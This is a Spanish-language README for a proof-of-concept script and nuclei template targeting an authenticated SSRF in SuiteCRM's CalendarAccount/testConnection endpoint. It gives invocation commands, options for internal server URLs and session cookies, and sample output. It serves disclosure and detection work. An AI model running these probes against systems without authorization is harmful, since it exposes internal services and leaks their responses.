
SuiteCRM <= 7.15.1, <= 8.10.1 - SSRF autenticado
Prueba de concepto de server-side request forgery autenticado para SuiteCRM a través del endpoint CalendarAccount/testConnection y el proveedor caldav_basic.
Las versiones afectadas de SuiteCRM aceptan el server_url de un usuario autenticado y lo pasan a cURL sin validar el destino. Esto permite realizar solicitudes del lado del servidor hacia servicios HTTP de loopback o internos. En las versiones vulnerables, una respuesta de conexión fallida también puede revelar los datos de respuesta del servicio consultado en el mensaje de error.
La PoC se autentica con una cuenta válida de SuiteCRM y solicita una URL controlada. Su destino predeterminado, http://127.0.0.1:1/, es un puerto de loopback cerrado: demuestra que SuiteCRM intentó la conexión del lado del servidor sin solicitar un servicio externo.
--server-urlNo se requieren paquetes de Python de terceros.
Validación local básica contra SuiteCRM:
python3 CVE-2026-69137.py \
-u http://127.0.0.1:8081 \
-U admin \
-P 'password'
Usar una sesión autenticada existente:
python3 CVE-2026-69137.py \
-u https://suitecrm.example \
--cookie 'PHPSESSID=value'
Probar un destino interno o controlado autorizado:
python3 CVE-2026-69137.py \
-u https://suitecrm.example \
-U user \
-P 'password' \
--server-url http://127.0.0.1:8080/
-u, --url URL base de SuiteCRM
-U, --username Nombre de usuario de SuiteCRM
-P, --password Contraseña de SuiteCRM
--cookie Valor de la cabecera Cookie autenticada de SuiteCRM
--server-url URL solicitada por SuiteCRM; predeterminado: http://127.0.0.1:1/
--timeout Tiempo de espera HTTP en segundos; predeterminado: 35
-k, --insecure Deshabilitar la verificación del certificado TLS
Las versiones vulnerables devuelven un fallo de la prueba de conexión tras procesar la URL proporcionada:
[*] Authenticating with SuiteCRM legacy login...
[*] Sending testConnection request with server_url=http://127.0.0.1:1/
[!] Vulnerable behavior confirmed: SuiteCRM processed the supplied server_url.
Server message: Connection test failed. Network error: Failed to connect to 127.0.0.1 port 1 ...
Las versiones parcheadas rechazan los destinos no permitidos antes de intentar la conexión:
[+] Target rejected the supplied URL; the SSRF fix appears to be present.
CVE-2026-69137.yaml se autentica con username y password, reutiliza la sesión de SuiteCRM y realiza la misma sonda de loopback cerrado:
nuclei -u https://suitecrm.example \
-t CVE-2026-69137.yaml \
-var username=user \
-var password='password'
La plantilla se validó con:
nuclei -validate -t CVE-2026-69137.yaml
--server-url solo contra destinos para los que esté autorizado a probar.